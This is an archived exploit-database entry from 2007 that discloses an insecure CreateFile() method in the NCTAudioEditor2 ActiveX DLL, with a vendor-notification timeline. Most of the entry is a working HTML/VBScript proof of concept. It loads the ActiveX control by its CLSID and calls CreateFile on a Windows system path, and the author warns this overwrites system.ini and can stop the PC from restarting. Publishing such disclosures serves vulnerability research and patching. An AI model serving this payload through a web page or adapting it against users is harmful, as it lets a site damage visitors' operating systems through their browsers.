NCTAudioEditor2 ActiveX DLL 'NCTWMAFile2.dll 2.6.2.157' - File Write

EDB-ID:

4101

Author:

shinnai

Type:

remote

Platform:

Windows

Published:

2007-06-25

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------------------
 <b>NCTAudioEditor2 ActiveX DLL (NCTWMAFile2.dll v. 2.6.2.157) "CreateFile()"Insecure Method</b>
 url: http://www.nctsoft.com/products/NCTAudioEditor2/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx (for example Sienzo DMM) are vulnerable to this exploits.

 Time Table: 2007/20/06 -> Bug discovered
             2007/20/06 -> Vendor notified by mail
             2007/21/06 -> No response, vendor notified by web form
             2007/22/06 -> No response from vendor
             2007/23/06 -> No response from vendor
             2007/24/06 -> No response from vendor
             2007/25/06 -> Public disclosure
------------------------------------------------------------------------------------------

<object classid='clsid:6ED74AE3-8066-4385-AABA-243E033F75A3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.CreateFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"NCTAudioEditor2")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "NCTAudioEditor2")
   End If 
 End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-06-25]